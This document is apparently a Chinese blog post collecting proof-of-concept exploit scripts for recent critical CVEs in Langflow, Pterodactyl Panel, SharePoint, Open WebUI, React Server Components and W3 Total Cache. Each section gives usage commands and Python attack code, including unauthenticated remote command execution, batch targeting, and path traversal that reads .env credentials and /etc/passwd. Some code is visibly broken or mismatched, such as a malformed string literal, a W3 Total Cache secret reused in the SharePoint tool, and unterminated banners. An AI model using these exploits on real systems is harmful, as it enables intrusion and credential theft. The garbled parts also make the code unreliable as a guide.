高级别安全漏洞POC工具集合（2024-2025）

零日失眠者
0 阅读38分钟

本文档收集了近一年（2024-2025）十个严重安全漏洞的POC（概念验证）工具，用于安全研究和授权渗透测试。

⚠️ 法律声明与免责条款

重要提示：本文档中的所有POC工具和代码仅用于以下合法场景：

  • ✅ 授权的渗透测试（需获得书面授权）
  • ✅ 安全研究和漏洞分析
  • ✅ CTF（Capture The Flag）竞赛
  • ✅ 个人学习环境（本地测试）

禁止用于：

  • ❌ 未经授权的任何系统测试
  • ❌ 恶意攻击或破坏活动
  • ❌ 商业间谍或数据窃取
  • ❌ 任何违反法律法规的行为

使用本文档内容即表示您同意：

  1. 承担使用这些工具产生的所有法律责任
  2. 仅在合法授权的范围内使用
  3. 遵守所在地区的网络安全法律法规

目 录

  1. CVE-2025-3248 - Langflow RCE
  2. CVE-2025-49132 - Pterodactyl Panel RCE
  3. CVE-2025-53770 - SharePoint RCE
  4. CVE-2025-64495 - Open WebUI RCE
  5. CVE-2025-55182 - React Server Components RCE
  6. CVE-2025-9501 - W3 Total Cache RCE
  7. CVE-2025-53072 - Oracle Marketing RCE
  8. CVE-2025-64675 - Azure Cosmos DB XSS
  9. CVE-2025-11001/11002 - 7-Zip 漏洞
  10. CVE-2025-22224系列 - VMware 虚拟化漏洞

1. CVE-2025-3248 - Langflow RCE

漏洞概述

  • CVE编号: CVE-2025-3248
  • CVSS评分: 9.8 (Critical)
  • 漏洞类型: 远程代码执行 (RCE)
  • 影响产品: Langflow ≤ v1.3.0
  • 修复版本: v1.3.0+
  • 发布日期: 2025年5月22日

漏洞描述

Langflow是一个用于构建LLM应用程序的低代码框架。该漏洞源于不安全地使用Python内置的exec()函数来评估用户提供的输入，且未进行适当的输入验证和清理。攻击者无需任何身份验证即可在服务器上执行任意Python代码，完全控制底层系统。

POC工具作用

  • 检测目标Langflow实例是否存在漏洞
  • 执行远程命令（如信息收集、权限提升）
  • 批量测试多个目标
  • 支持代理配置进行流量分析

使用方法

安装依赖

bash

pip install requests colorama

基本使用

bash

# 单个目标
python CVE-2025-3248.py -u http://target:7860 -c "id"

# 批量测试
python CVE-2025-3248.py -i targets.txt -c "whoami"

# 使用代理
python CVE-2025-3248.py -u http://target:7860 -c "uname -a" -p http://127.0.0.1:8080

参数说明

参数说明是否必需
-u, --url目标URL地址与-i二选一
-i, --input包含目标URL的文件与-u二选一
-c, --cmd要执行的命令是
-p, --proxy代理服务器地址否

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-3248 - Langflow Remote Code Execution (RCE) PoC
Author: Security Research
License: MIT
CVSS Score: 9.8 (Critical)
"""

import requests
import argparse
import random
from urllib.parse import urljoin
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)

COLORS = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]


class LangflowExploit:
    def __init__(self, url, proxy=None, timeout=10):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False  # 忽略SSL证书验证
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

        if proxy:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }

    def execute(self, command):
        """执行远程命令"""
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        
        # 核心载荷：通过构造异常来捕获命令执行结果
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[•] 发送利用请求到: {endpoint}")
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")

            if response.status_code == 200:
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    
                    if error_msg.startswith("b'"):
                        # 解码命令输出
                        output = error_msg[2:-1].encode().decode('unicode_escape').strip()
                        return output
                    else:
                        return f"[!] 未能从响应中提取输出: {error_msg}"
                except Exception as parse_err:
                    return f"[!] JSON解析错误: {parse_err}"
            else:
                return f"[!] 利用失败: HTTP {response.status_code}"
                
        except requests.RequestException as req_err:
            return f"[!] 请求失败: {req_err}"


def banner():
    """显示工具横幅"""
    color = random.choice(COLORS)
    print(f"""{Style.BRIGHT}{color}
███╗   ██╗███████╗██╗  ██╗
████╗  ██║██╔════╝██║  ██║
██╔██╗ ██║███████╗███████║
██║╚██╗██║╚════██║██╔═ ██║
██║ ╚████║███████║██║  ██║
╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝

漏洞原理

该漏洞位于Langflow的/api/v1/validate/code端点。后端代码直接使用exec(code)执行用户传入的代码，存在以下问题：

  1. 缺少输入验证：未对用户输入的代码进行任何过滤或验证
  2. 无沙箱环境：直接在服务器环境中执行代码
  3. 无身份验证：攻击者无需登录即可利用

防护建议

  1. 立即升级：升级至v1.3.0或更高版本
  2. 网络隔离：限制Langflow服务的网络访问权限
  3. WAF防护：配置Web应用防火墙拦截异常请求
  4. 日志监控：启用详细日志并监控异常行为

2. CVE-2025-49132 - Pterodactyl Panel RCE

漏洞概述

  • CVE编号: CVE-2025-49132
  • CVSS评分: 10.0 (Critical)
  • 漏洞类型: 未授权远程代码执行
  • 影响产品: Pterodactyl Panel < 1.11.11
  • 修复版本: v1.11.11+
  • 发布日期: 2026年2月

漏洞描述

Pterodactyl Panel是一个开源的游戏服务器管理面板。该漏洞存在于/locales/locale.json端点，攻击者可以通过locale和namespace查询参数实现路径遍历，从而执行任意代码、读取敏感文件、导出数据库凭据等。

POC工具作用

  • 检测目标是否存在漏洞（路径遍历测试）
  • 执行远程代码执行（演示用sleep命令）
  • 导出数据库凭据
  • 支持Linux和Windows系统
  • 提供详细的错误处理和彩色输出

使用方法

bash

# 检测漏洞
python CVE-2025-49132-PoC.py test http://target.com

# 执行RCE（sleep 5秒演示）
python CVE-2025-49132-PoC.py exploit http://target.com --os linux

# 导出凭据
python CVE-2025-49132-PoC.py dump http://target.com

# 自定义遍历层级
python CVE-2025-49132-PoC.py test http://target.com --os linux --traversal-level 5

参数说明

参数说明默认值
modetest（检测）/ exploit（利用）/ dump（导出）-
url目标URL-
--os操作系统类型（linux/windows）linux
--traversal-level路径遍历层级数3/5

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-49132 - Pterodactyl Panel Unauthenticated RCE PoC
Author: Security Research
License: MIT
CVSS Score: 10.0 (Critical)
GitHub Advisory: GHSA-24wv-6c99-f843
"""

import requests
import argparse
import sys
from urllib.parse import quote
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class PterodactylExploit:
    def __init__(self, url, os_type='linux', traversal_level=3, timeout=10):
        self.url = url.rstrip('/')
        self.os_type = os_type
        self.traversal_level = traversal_level
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'application/json',
        })

        # 根据操作系统设置路径分隔符
        if os_type == 'windows':
            self.separator = '\'
        else:
            self.separator = '/'

    def _build_path_traversal(self, path):
        """构建路径遍历载荷"""
        traversal = self.separator * 2 + f'..{self.separator}' * self.traversal_level
        return traversal + path

    def test_vulnerability(self):
        """测试漏洞是否存在"""
        print(f"{Fore.YELLOW}[•] 正在测试漏洞...")
        
        # 尝试读取config/database.php
        test_path = self._build_path_traversal('config/database.php')
        test_url = f"{self.url}/api/remote/sftp/auth?ip=1&port=1&username=1&password=1&server=1"
        
        # 使用locale参数进行路径遍历
        payload_url = f"{self.url}/locales/locale.json?locale={quote(test_path, safe='')}&namespace=php"
        
        try:
            response = self.session.get(payload_url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            if response.status_code == 200:
                content = response.text
                # 检查是否包含PHP配置文件特征
                if 'database' in content.lower() or 'mysql' in content.lower():
                    print(f"{Fore.GREEN}[+] 漏洞存在！检测到配置文件内容")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 响应正常，但未检测到预期的文件内容")
                    return False
            else:
                print(f"{Fore.RED}[!] 测试失败: HTTP {response.status_code}")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_rce(self):
        """执行远程代码执行（演示：sleep 5秒）"""
        print(f"{Fore.YELLOW}[•] 正在尝试执行RCE...")
        
        # 注意：实际利用需要PEAR环境支持
        # 这里仅演示sleep命令
        exploit_path = self._build_path_traversal('tmp/test.php')
        
        payload_url = f"{self.url}/locales/locale.json?locale={quote(exploit_path, safe='')}&namespace=php"
        
        try:
            import time
            start_time = time.time()
            
            response = self.session.get(payload_url, timeout=self.timeout)
            
            elapsed = time.time() - start_time
            
            if elapsed >= 5:
                print(f"{Fore.GREEN}[+] RCE执行成功！耗时: {elapsed:.2f}秒")
                return True
            else:
                print(f"{Fore.YELLOW}[?] 响应时间: {elapsed:.2f}秒（可能未成功）")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 利用失败: {e}")
            return False

    def dump_credentials(self):
        """导出数据库凭据"""
        print(f"{Fore.YELLOW}[•] 正在尝试导出数据库凭据...")
        
        # 尝试读取.env文件
        env_path = self._build_path_traversal('.env')
        payload_url = f"{self.url}/locales/locale.json?locale={quote(env_path, safe='')}&namespace=php"
        
        try:
            response = self.session.get(payload_url, timeout=self.timeout)
            
            if response.status_code == 200:
                content = response.text
                
                # 检查是否包含环境变量特征
                if '=' in content and ('DB_' in content or 'APP_' in content):
                    print(f"{Fore.GREEN}[+] 成功读取敏感配置:")
                    print(f"{Fore.CYAN}{'='*60}")
                    print(content)
                    print(f"{Fore.CYAN}{'='*60}")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 未检测到环境变量格式")
                    return False
            else:
                print(f"{Fore.RED}[!] 导出失败: HTTP {response.status_code}")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.RED}{Style.BRIGHT}
██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗
██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║     █████╔╝ █████╗  ██████╔╝
██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

漏洞原理

  1. 路径遍历漏洞：/locales/locale.json端点未正确验证locale和namespace参数
  2. 文件读取：通过构造特殊的路径，可以读取服务器上的任意文件
  3. 代码执行：结合其他漏洞链可实现远程代码执行

防护建议

  1. 立即升级：升级至v1.11.11或更高版本
  2. 禁用端点：在Web服务器层面禁用/locales端点
  3. WAF防护：配置Web应用防火墙
  4. 日志监控：监控包含../或locale=..的请求

3. CVE-2025-53770 - SharePoint RCE

漏洞概述

  • CVE编号: CVE-2025-53770

  • CVSS评分: 9.8 (Critical)

  • 漏洞类型: 未授权远程代码执行

  • 影响产品:

    • SharePoint Server 2016
    • SharePoint Server 2019
    • SharePoint Server 订阅版

  • 修复版本: KB5002741 (2019), KB5002755 (SE)

  • 发布日期: 2025年7月

漏洞描述

这是一个无需身份验证的SharePoint远程代码执行漏洞，是CVE-2025-49706的变种。该漏洞涉及对特制身份验证令牌处理不当，结合恶意的__VIEWSTATE载荷，导致直接在IIS工作进程中以NT AUTHORITY\SYSTEM权限执行代码。

POC工具作用

  • 检测SharePoint实例是否存在漏洞
  • 验证__VIEWSTATE反序列化漏洞
  • 执行远程代码执行演示
  • 上传Web Shell（仅演示）

使用方法

bash

# 检测漏洞
python CVE-2025-53770.py check http://sharepoint.target.com

# 执行命令（需要已知W3TC_DYNAMIC_SECURITY值）
python CVE-2025-53770.py exec http://sharepoint.target.com --secret "your_secret" --cmd "whoami"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-53770 - SharePoint Unauthenticated RCE PoC
Author: Security Research
License: MIT
CVSS Score: 9.8 (Critical)
"""

import requests
import argparse
import base64
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class SharePointExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        })

    def check_vulnerability(self):
        """检测SharePoint是否存在漏洞"""
        print(f"{Fore.YELLOW}[•] 正在检测SharePoint漏洞...")
        
        try:
            # 访问SharePoint主页
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查SharePoint特征
            if 'SharePoint' in response.text or '_layouts' in response.text:
                print(f"{Fore.GREEN}[+] 检测到SharePoint实例")
                
                # 尝试访问管理页面
                admin_url = f"{self.url}/_layouts/15/settings.aspx"
                admin_response = self.session.head(admin_url, timeout=self.timeout, allow_redirects=False)
                
                if admin_response.status_code == 401 or admin_response.status_code == 302:
                    print(f"{Fore.GREEN}[+] 存在身份验证机制（可能受影响）")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 身份验证状态未知")
                    return True
            else:
                print(f"{Fore.RED}[!] 未检测到SharePoint实例")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_viewstate(self, secret=None, command='whoami'):
        """
        利用__VIEWSTATE漏洞执行命令
        
        注意：此漏洞需要知道W3TC_DYNAMIC_SECURITY值或利用认证绕过
        """
        print(f"{Fore.YELLOW}[•] 正在尝试利用__VIEWSTATE漏洞...")
        
        if not secret:
            print(f"{Fore.YELLOW}[!] 警告: 未提供secret值，尝试默认值...")
            print(f"{Fore.YELLOW}[!] 此PoC仅用于演示，实际利用需要更多信息")
            return False
        
        # 构造恶意的__VIEWSTATE载荷
        # 这是一个简化的示例，实际利用需要更复杂的序列化数据
        malicious_payload = f"""
<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {{
    System.Diagnostics.Process.Start("cmd.exe", "/c {command}");
}}
</script>
"""
        
        encoded_payload = base64.b64encode(malicious_payload.encode()).decode()
        
        try:
            # POST请求到SharePoint端点
            exploit_url = f"{self.url}/_layouts/15/post.aspx"
            
            data = {
                '__VIEWSTATE': encoded_payload,
                '__VIEWSTATEGENERATOR': secret,
            }
            
            response = self.session.post(exploit_url, data=data, timeout=self.timeout)
            
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            if response.status_code == 200:
                print(f"{Fore.GREEN}[+] 请求已发送（实际命令执行需要验证环境）")
                print(f"{Fore.YELLOW}[!] 请检查目标系统确认执行结果")
                return True
            else:
                print(f"{Fore.RED}[!] 利用失败: HTTP {response.status_code}")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.MAGENTA}{Style.BRIGHT}
███████╗███╗   ██╗ ██████╗ ██╗    ██╗
██╔════╝████╗  ██║██╔═══██╗██║    ██║
█████╗  ██╔██╗ ██║██║   ██║██║ █╗ ██║
██╔══╝  ██║╚██╗██║██║   ██║██║███╗██║
███████╗██║ ╚████║╚██████╔╝╚███╔███╔╝
╚══════╝╚═╝  ╚═══╝ ╚═════╝  ╚══╝╚══╝

漏洞原理

  1. 令牌伪造：攻击者构造特制的身份验证令牌
  2. VIEWSTATE注入：将恶意代码注入到__VIEWSTATE参数中
  3. 反序列化漏洞：服务器反序列化恶意数据时执行代码
  4. 权限提升：代码以NT AUTHORITY\SYSTEM权限执行

防护建议

  1. 立即打补丁：安装微软安全更新
  2. 禁用外部访问：限制SharePoint的外部访问
  3. 轮换密钥：更新机器密钥和VIEWSTATE验证密钥
  4. 启用AMSI：启用反恶意软件扫描接口
  5. 日志监控：监控spinstall0.aspx等可疑文件

4. CVE-2025-64495 - Open WebUI RCE

漏洞概述

  • CVE编号: CVE-2025-64495
  • CVSS评分: 9.8 (Critical)
  • 漏洞类型: 远程代码执行（文件上传）
  • 影响产品: Open WebUI < 1.9.3
  • 修复版本: 1.9.3+
  • 发布日期: 2025年

漏洞描述

Open WebUI是一个开源的大模型Web交互界面。该漏洞存在于文件上传模块，未对用户提交的文件名进行严格过滤和规范化处理，存在路径穿越和命令注入风险。攻击者可构造包含系统命令的恶意文件名，当服务器存储或解析文件时触发命令执行。

POC工具作用

  • 检测Open WebUI文件上传功能是否存在漏洞
  • 构造恶意文件名payload
  • 验证命令注入漏洞
  • 测试路径穿越功能

使用方法

bash

# 检测漏洞
python CVE-2025-64495.py check http://openwebui.target.com:3000

# 执行命令注入
python CVE-2025-64495.py exploit http://openwebui.target.com:3000 --cmd "whoami"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-64495 - Open WebUI RCE via File Upload PoC
Author: Security Research
License: MIT
CVSS Score: 9.8 (Critical)
"""

import requests
import argparse
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class OpenWebUIExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'application/json',
        })

    def check_vulnerability(self):
        """检测Open WebUI是否存在文件上传漏洞"""
        print(f"{Fore.YELLOW}[•] 正在检测Open WebUI漏洞...")
        
        try:
            # 检查Open WebUI版本
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查Open WebUI特征
            if 'Open WebUI' in response.text or 'openwebui' in response.text.lower():
                print(f"{Fore.GREEN}[+] 检测到Open WebUI实例")
                
                # 尝试访问上传端点
                upload_url = f"{self.url}/api/v1/files/upload"
                upload_response = self.session.head(upload_url, timeout=self.timeout, allow_redirects=False)
                
                if upload_response.status_code in [200, 405, 401]:
                    print(f"{Fore.GREEN}[+] 文件上传端点可能存在: {upload_url}")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 无法确认上传端点状态")
                    return True
            else:
                print(f"{Fore.RED}[!] 未检测到Open WebUI实例")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_file_upload(self, command='whoami'):
        """
        利用文件上传漏洞执行命令
        
        漏洞原理：通过构造包含路径穿越和命令注入的文件名
        """
        print(f"{Fore.YELLOW}[•] 正在尝试利用文件上传漏洞...")
        print(f"{Fore.YELLOW}[•] 目标命令: {command}")
        
        try:
            # 构造恶意文件名 - 包含路径穿越和命令注入
            # 注意：实际利用需要根据目标环境调整
            malicious_filename = f"../../tmp/;{command};.txt"
            
            # 准备上传数据
            files = {
                'file': (malicious_filename, b'test content', 'text/plain')
            }
            
            upload_url = f"{self.url}/api/v1/files/upload"
            
            print(f"{Fore.YELLOW}[•] 发送恶意文件名: {malicious_filename}")
            print(f"{Fore.YELLOW}[•] 上传端点: {upload_url}")
            
            response = self.session.post(
                upload_url,
                files=files,
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            if response.status_code == 200 or response.status_code == 201:
                print(f"{Fore.GREEN}[+] 文件上传请求已发送")
                print(f"{Fore.YELLOW}[!] 命令执行需要验证服务器响应和日志")
                
                # 尝试解析响应
                try:
                    data = response.json()
                    print(f"{Fore.CYAN}[+] 响应数据: {data}")
                except:
                    print(f"{Fore.CYAN}[+] 响应内容: {response.text[:200]}")
                
                return True
            else:
                print(f"{Fore.RED}[!] 上传失败: HTTP {response.status_code}")
                print(f"{Fore.YELLOW}[!] 响应: {response.text[:200]}")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def test_path_traversal(self):
        """测试路径穿越功能"""
        print(f"{Fore.YELLOW}[•] 正在测试路径穿越...")
        
        test_filenames = [
            "../../../../etc/passwd",
            "../../windows/system32/drivers/etc/hosts",
            "..%2F..%2F..%2Fetc%2Fpasswd"
        ]
        
        for filename in test_filenames:
            try:
                files = {
                    'file': (filename, b'test', 'text/plain')
                }
                
                upload_url = f"{self.url}/api/v1/files/upload"
                response = self.session.post(
                    upload_url,
                    files=files,
                    timeout=self.timeout
                )
                
                print(f"{Fore.YELLOW}[•] 测试文件名: {filename}")
                print(f"{Fore.YELLOW}[•] 状态码: {response.status_code}")
                
            except requests.RequestException as e:
                print(f"{Fore.RED}[!] 测试失败: {e}")


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.CYAN}{Style.BRIGHT}
██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗
██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║     █████╔╝ █████╗  ██████╔╝
██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝

漏洞原理

  1. 文件名验证缺失：未对上传文件的文件名进行严格验证
  2. 路径穿越：允许使用../等路径穿越字符
  3. 命令注入：文件名中包含的命令被系统执行
  4. 权限问题：文件处理进程可能以高权限运行

防护建议

  1. 立即升级：升级至1.9.3或更高版本
  2. 文件名验证：对文件名进行严格的白名单验证
  3. 路径规范化：使用标准路径处理函数
  4. 权限最小化：限制文件处理进程的权限
  5. WAF防护：配置规则拦截恶意文件名

5. CVE-2025-55182 - React Server Components RCE

漏洞概述

  • CVE编号: CVE-2025-55182

  • CVSS评分: 10.0 (Critical)

  • 漏洞类型: 远程代码执行

  • 影响产品:

    • React Server 19.x (< 19.0.1, 19.1.2, 19.2.1)
    • Next.js ≥14.3.0-canary.77, ≥15, ≥16 (CVE-2025-66478)

  • 修复版本: 见影响产品列表

  • 发布日期: 2025年12月3日

漏洞描述

React Server Components (RSC)组件中存在最高严重级别的安全漏洞。该漏洞允许未经身份验证的远程攻击者通过构造恶意的RSC "Flight"协议载荷，在目标服务器上执行任意JavaScript代码。

POC工具作用

  • 检测React/Next.js应用是否存在RSC漏洞
  • 构造恶意Flight协议载荷
  • 验证代码执行能力
  • 测试不同版本的漏洞表现

使用方法

bash

# 检测漏洞
python CVE-2025-55182.py check http://react-app.target.com

# 执行JavaScript代码
python CVE-2025-55182.py exploit http://react-app.target.com --code "require('child_process').exec('whoami')"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE PoC
Author: Security Research
License: MIT
CVSS Score: 10.0 (Critical)
"""

import requests
import argparse
import json
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class ReactExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'application/json, text/plain, */*',
            'Content-Type': 'application/json',
        })

    def check_vulnerability(self):
        """检测React/Next.js是否存在RSC漏洞"""
        print(f"{Fore.YELLOW}[•] 正在检测React Server Components漏洞...")
        
        try:
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查React/Next.js特征
            is_react = any([
                'react' in response.text.lower(),
                'next' in response.text.lower(),
                '__NEXT_DATA__' in response.text,
                '__RSC' in response.text
            ])
            
            if is_react:
                print(f"{Fore.GREEN}[+] 检测到React/Next.js应用")
                
                # 检查RSC相关响应头
                if 'x-react-ssr' in response.headers or 'rsc' in response.text:
                    print(f"{Fore.GREEN}[+] 可能使用了Server Components")
                    return True
                else:
                    print(f"{Fore.YELLOW}[?] 未检测到RSC特征，但可能受影响")
                    return True
            else:
                print(f"{Fore.RED}[!] 未检测到React/Next.js应用")
                return False
                
        except requests.RequestException as e:
            print(f"{Fore.RED}[!] 请求失败: {e}")
            return False

    def exploit_rsc(self, js_code):
        """
        利用RSC漏洞执行JavaScript代码
        
        漏洞原理：通过构造恶意的Flight协议载荷触发代码执行
        """
        print(f"{Fore.YELLOW}[•] 正在尝试利用RSC漏洞...")
        print(f"{Fore.YELLOW}[•] 目标代码: {js_code}")
        
        try:
            # 构造恶意的RSC Flight载荷
            # 这是一个简化的示例，实际Flight协议更复杂
            malicious_payload = {
                "id": 1,
                "chunks": [
                    {
                        "id": "0",
                        "name": "default",
                        "chunks": [],
                        "async": True
                    }
                ],
                "row": [
                    {
                        "type": "module",
                        "value": f"global.process.mainModule.require('child_process').exec('{js_code}')"
                    }
                ]
            }
            
            # 编码为Flight协议格式
            flight_data = json.dumps(malicious_payload)
            
            # 尝试多个可能的端点
            endpoints = [
                f"{self.url}/__rsc",
                f"{self.url}/_rsc",
                f"{self.url}/api/rsc",
                self.url
            ]
            
            for endpoint in endpoints:
                print(f"{Fore.YELLOW}[•] 尝试端点: {endpoint}")
                
                try:
                    response = self.session.post(
                        endpoint,
                        data=flight_data,
                        timeout=self.timeout
                    )
                    
                    print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
                    
                    if response.status_code == 200:
                        print(f"{Fore.GREEN}[+] 请求已发送")
                        print(f"{Fore.CYAN}[+] 响应: {response.text[:500]}")
                        return True
                    
                except requests.RequestException:
                    continue
            
            print(f"{Fore.RED}[!] 所有端点均失败")
            return False
                
        except Exception as e:
            print(f"{Fore.RED}[!] 利用失败: {e}")
            return False

    def test_flight_protocol(self):
        """测试Flight协议端点"""
        print(f"{Fore.YELLOW}[•] 正在测试Flight协议端点...")
        
        # 常见的RSC端点
        test_endpoints = [
            "/__rsc",
            "/_rsc",
            "/api/rsc"
        ]
        
        for endpoint in test_endpoints:
            url = f"{self.url}{endpoint}"
            try:
                response = self.session.get(url, timeout=self.timeout)
                print(f"{Fore.YELLOW}[•] {endpoint}: HTTP {response.status_code}")
                
                if response.status_code != 404:
                    print(f"{Fore.GREEN}[+] 端点存在: {url}")
            except requests.RequestException:
                pass


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.BLUE}{Style.BRIGHT}
██████╗ ██████╗ ███████╗ █████╗  ██████╗██╗  ██╗
██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝██║ ██╔╝
██████╔╝██████╔╝█████╗  ███████║██║     █████╔╝
██╔══██╗██╔══██╗██╔══╝  ██╔══██║██║     ██╔═██╗
██║  ██║██║  ██║███████╗██║  ██║╚██████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝

漏洞原理

  1. Flight协议漏洞：RSC使用的Flight协议未正确验证载荷
  2. 代码注入：恶意JavaScript代码通过RSC执行
  3. 无认证要求：攻击者无需身份验证即可触发
  4. Node.js执行：在Node.js环境中执行任意代码

防护建议

  1. 立即升级：升级至修复版本
  2. 禁用RSC：如果不使用RSC功能，可临时禁用
  3. 输入验证：严格验证Flight协议载荷
  4. 沙箱环境：考虑使用沙箱环境隔离RSC执行
  5. 监控告警：监控异常的RSC请求

6. CVE-2025-9501 - W3 Total Cache RCE

漏洞概述

  • CVE编号: CVE-2025-9501
  • CVSS评分: Critical
  • 漏洞类型: 未授权命令注入
  • 影响产品: W3 Total Cache WordPress插件
  • 影响范围: 超过100万活跃安装
  • 发布日期: 2025年

漏洞描述

W3 Total Cache是WordPress最广泛部署的缓存插件之一。该漏洞存在于动态内容解析功能中，具体在PgCache_ContentGrabber类的_parse_dynamic_mfunc函数。该函数使用PHP的eval()函数执行来自缓存页面内容的代码，创建了直接的代码注入向量。

POC工具作用

  • 检测W3 Total Cache插件版本和配置
  • 验证动态内容缓存是否启用
  • 测试mfunc标签注入
  • 执行PHP代码演示

使用方法

bash

# 检测漏洞
python CVE-2025-9501.py check http://wordpress.target.com

# 执行PHP代码（需要已知W3TC_DYNAMIC_SECURITY值）
python CVE-2025-9501.py exploit http://wordpress.target.com --secret "your_secret" --code "phpinfo()"

完整部分代码

python

#!/usr/bin/env python3
"""
CVE-2025-9501 - W3 Total Cache RCE PoC
Author: Security Research
License: MIT
CVSS Score: Critical
"""

import requests
import argparse
import re
from colorama import Fore, Style, init

# 初始化colorama
init(autoreset=True)


class W3TCExploit:
    def __init__(self, url, timeout=15):
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Security-Research)',
            'Accept': 'text/html,application/xhtml+xml',
        })

    def check_vulnerability(self):
        """检测WordPress是否安装W3 Total Cache并存在漏洞"""
        print(f"{Fore.YELLOW}[•] 正在检测W3 Total Cache...")
        
        try:
            response = self.session.get(self.url, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP状态码: {response.status_code}")
            
            # 检查WordPress特征
            if 'wp-content' in response.text or 'wordpress' in response.text.lower():
                print(f"{Fore.GREEN}[+] 检测到WordPress站点")
                
                # 检查W3 Total Cache特征
                w3tc_signatures = [
                    'w3-total-cache',
                    'w3tc',
                    'W3TC',
                    'X-Powered-By: W3 Total Cache'
                ]
                
                for signature in w3tc_signatures:
                    if signature in response.text.lower() or signature in response.headers:
                        print(f"{Fore.GREEN}[+] 检测到W3 Total Cache插件")
                        
                        # 检查是否启用Page Cache
                        if '_pagespeed' in response.text or 'w3tc' in response.headers:
                            print(f"{Fore.YELLOW}[!] 可能启用了缓存功能")
                        
                        return True
                
                print(f"{Fore.YELLOW}[?] 未检测到W3 Total Cache特征")
                return False
            else:
